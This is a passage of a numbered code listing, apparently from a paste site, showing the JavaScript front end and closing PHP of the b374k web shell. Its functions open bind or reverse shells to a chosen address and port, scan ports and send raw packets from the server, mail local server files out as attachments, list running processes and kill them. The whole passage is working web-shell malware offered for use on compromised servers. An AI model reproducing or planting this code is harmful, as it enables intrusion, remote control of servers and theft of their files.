  4348.         if(start<0) start = 0;
  4349.     }
  4350.     db_query_tbl(dbType, db, table, start, limit);
  4351. }
  4352.  
  4353. Zepto(function($){
  4354.     info_init();
  4355.  
  4356. });
  4357.  
  4358. function info_init(){
  4359.     if((infoResult = localStorage.getItem('infoResult'))){
  4360.         $('.infoResult').html(infoResult);
  4361.     }
  4362.     else{
  4363.         info_refresh();
  4364.     }
  4365. }
  4366.  
  4367. function info_toggle(id){
  4368.     $('#'+id).toggle();
  4369. }
  4370.  
  4371. function info_refresh(){
  4372.     send_post({infoRefresh:'infoRefresh'}, function(res){
  4373.         $('.infoResult').html(res);
  4374.         localStorage.setItem('infoResult', res);
  4375.     });
  4376. }
  4377.  
  4378. Zepto(function($){
  4379.  
  4380. });
  4381.  
  4382. function mail_send(){
  4383.     mailFrom = $.trim($('#mailFrom').val());
  4384.     mailTo = $.trim($('#mailTo').val());
  4385.     mailSubject = $.trim($('#mailSubject').val());
  4386.     mailContent = $('#mailContent').val();
  4387.     mailAttachment = '';
  4388.     if($('.mailAttachment')){
  4389.         mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}');
  4390.     }
  4391.  
  4392.     send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){
  4393.         $('#mailResult').html(res);
  4394.     });
  4395. }
  4396.  
  4397. function mail_attach(){
  4398.     content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
  4399.     $('#mailTBody').append(content);
  4400. }
  4401.  
  4402. Zepto(function($){
  4403.     rs_init();
  4404.  
  4405. });
  4406.  
  4407. function rs_init(){
  4408.     if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
  4409.         splits = evalSupported.split(",");
  4410.         $.each(splits, function(i, k){
  4411.             $('.rsType').append("<option>"+k+"</option>");
  4412.         });
  4413.     }
  4414.     else setTimeout('rs_init()', 1000);
  4415.  
  4416.     $('#packetContent').on('keydown', function(e){
  4417.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4418.             packet_go();
  4419.         }
  4420.         fix_tabchar(this, e);
  4421.     });
  4422. }
  4423.  
  4424. function rs_go_bind(){
  4425.     rs_go('bind');
  4426. }
  4427. function rs_go_back(){
  4428.     rs_go('back');
  4429. }
  4430.  
  4431. function rs_go(rsType){
  4432.     rsArgs = "";
  4433.     if(rsType=='bind'){
  4434.         rsPort = parseInt($('#bindPort').val());
  4435.         rsLang = $('#bindLang').val();
  4436.         rsArgs = rsPort;
  4437.         rsResult = $('#bindResult');
  4438.     }
  4439.     else if(rsType=='back'){
  4440.         rsAddr = $('#backAddr').val();
  4441.         rsPort = parseInt($('#backPort').val());
  4442.         rsLang = $('#backLang').val();
  4443.         rsArgs = rsPort + ' ' + rsAddr;
  4444.         rsResult = $('#backResult');
  4445.     }
  4446.  
  4447.     if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
  4448.         rsResult.html('Invalid port');
  4449.         return;
  4450.     }
  4451.  
  4452.     if(rsArgs!=''){
  4453.         send_post({ rsLang:rsLang, rsArgs:rsArgs },
  4454.             function(res){
  4455.                 if(res!='error'){
  4456.                     splits = res.split('{[|b374k|]}');
  4457.                     if(splits.length==2){
  4458.                         output = splits[0]+"<hr>"+splits[1];
  4459.                         rsResult.html(output);
  4460.                     }
  4461.                     else{
  4462.                         rsResult.html(res);
  4463.                     }
  4464.                 }
  4465.             }
  4466.         );
  4467.     }
  4468. }
  4469.  
  4470. function packet_go(){
  4471.     packetHost = $('#packetHost').val();
  4472.     packetStartPort = parseInt($('#packetStartPort').val());
  4473.     packetEndPort = parseInt($('#packetEndPort').val());
  4474.     packetTimeout = parseInt($('#packetTimeout').val());
  4475.     packetSTimeout = parseInt($('#packetSTimeout').val());
  4476.     packetContent = $('#packetContent').val();
  4477.     packetResult = $('#packetResult');
  4478.     packetStatus = $('#packetStatus');
  4479.  
  4480.     if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
  4481.         packetResult.html('Invalid start port');
  4482.         return;
  4483.     }
  4484.     if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
  4485.         packetResult.html('Invalid end port');
  4486.         return;
  4487.     }
  4488.     if((isNaN(packetTimeout))||(packetTimeout<=0)){
  4489.         packetResult.html('Invalid connection timeout');
  4490.         return;
  4491.     }
  4492.     if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
  4493.         packetResult.html('Invalid stream timeout');
  4494.         return;
  4495.     }
  4496.  
  4497.     if(packetStartPort>packetEndPort){
  4498.         start = packetEndPort;
  4499.         end = packetStartPort;
  4500.     }
  4501.     else{
  4502.         start = packetStartPort;
  4503.         end = packetEndPort;
  4504.     }
  4505.  
  4506.     packetResult.html('');
  4507.     while(start<=end){
  4508.         packetPort = start++;
  4509.         packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");
  4510.         packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);
  4511.  
  4512.     }
  4513. }
  4514.  
  4515. function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){
  4516.     send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){
  4517.         $('#packet'+packetPort).html(res);
  4518.     }, false);
  4519. }
  4520.  
  4521. Zepto(function($){
  4522.     show_processes();
  4523. });
  4524.  
  4525. function show_processes(){
  4526.     send_post({showProcesses:''}, function(res){
  4527.         if(res!='error'){
  4528.             $('#processes').html(res);
  4529.             sorttable.k($('#psTable').get(0));
  4530.             ps_bind();
  4531.         }
  4532.     });
  4533. }
  4534.  
  4535. function ps_bind(){
  4536.     $('.kill').off('click');
  4537.     $('.kill').on('click', function(e){
  4538.         kill_pid(ps_get_pid($(this)));
  4539.     });
  4540.  
  4541.  
  4542.     cbox_bind('psTable','ps_update_status');
  4543. }
  4544.  
  4545. function ps_get_pid(el){
  4546.     return el.parent().parent().attr('data-pid');
  4547. }
  4548.  
  4549. function ps_update_status(){
  4550.     totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
  4551.     if(totalSelected==0) $('.psSelected').html('');
  4552.     else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
  4553. }
  4554.  
  4555. function kill_selected(){
  4556.     buffer = get_all_cbox_selected('psTable', 'ps_get_pid');
  4557.  
  4558.     allPid = '';
  4559.     $.each(buffer,function(i,v){
  4560.         allPid += v + ' ';
  4561.     });
  4562.     allPid = $.trim(allPid);
  4563.     kill_pid(allPid);
  4564. }
  4565.  
  4566. function kill_pid(allPid){
  4567.     title = 'Kill';
  4568.     content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
  4569.     show_box(title, content);
  4570. }
  4571.  
  4572. function kill_pid_go(){
  4573.     allPid = $('.allPid').val();
  4574.     if($.trim(allPid)!=''){
  4575.         send_post({allPid:allPid}, function(res){
  4576.             if(res!='error'){
  4577.                 $('.boxresult').html(res + ' process(es) killed');
  4578.             }
  4579.             else $('.boxresult').html('Unable to kill process(es)');
  4580.             show_processes();
  4581.         });
  4582.     }
  4583. }
  4584.  
  4585.  
  4586. <?php
  4587.     foreach($GLOBALS['module_to_load'] as $k){
  4588.         echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }\n";
  4589.     }
  4590. ?>
  4591. </script>
  4592. <!--script end-->
  4593. </body>
  4594. </html><?php die();?>
Add Comment
Please, Sign In to add comment